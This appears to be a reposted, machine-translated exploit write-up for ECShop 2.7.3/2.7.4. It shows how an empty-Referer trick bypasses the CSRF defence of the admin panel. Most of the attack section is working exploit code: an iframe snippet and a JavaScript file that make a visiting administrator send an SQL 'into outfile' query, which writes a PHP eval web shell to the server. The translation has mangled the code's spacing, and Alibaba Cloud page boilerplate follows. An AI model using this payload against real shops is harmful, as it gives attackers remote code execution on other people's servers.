Ecshop csrf defense bypasses the background sensitive function csrf getshell

Source: Internet
Author: User

Ecshop csrf defense bypasses the background sensitive function csrf getshell

 

Supports csrf to execute various background sensitive functions. The analysis here is to use the empty referer method to bypass.
This bypass can be used to implement csrf getshell and csrf dump databases of various ecshop versions. A version of 2.7.3 and the latest version of 2.7.4 are tested.

This article can be seen as a one-stop test of this post at http://zone.wooyun.org/content/744. Thank you for sharing the technology.

Exp1 and csrf getshell use the SQL Execution interface and report the PATH Vulnerability.

The content of the newly created html file is:
 

<iframe src="javascript:'<script src=http://127.0.0.1/ecshop2.7.4/csrf.js></script>'"></iframe>


Create an http: // 127.0.0.1/ecshop2.7.4/csrf. js file. Content:

Var url = "http: // 127.0.0.1/ecshop2.7.4/admin/SQL. php "; var sendata = "SQL = select + % 22% 3C % 3 Fphp + % 40 eval % 28% 24_POST % 5B % 27c % 27% 5D % 29% 3B % 3F % 3E % 22 + into + outfile + % 27C % physical path Ctestcsrf. php % 27% 3B & act = query "; if (window. XMLHttpRequest) {var xmlhttp1 = new XMLHttpRequest ();} else {var xmlhttp1 = new ActiveXObject ("Microsoft. XMLHTTP ");} xmlhttp1.open (" POST ", url, true); xmlhttp1.setRequestHeader (" Content-Type "," application/x-www-form-urlencoded "); xmlhttp1.send (sendata );



The administrator can access the link to generate the testcsrf. php file.


 




 





Here, we only use this interface as an example. A large number of interfaces in the background expose sensitive operations to the threat of csrf.


 




 

 

Solution:

Enhanced Filtering

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.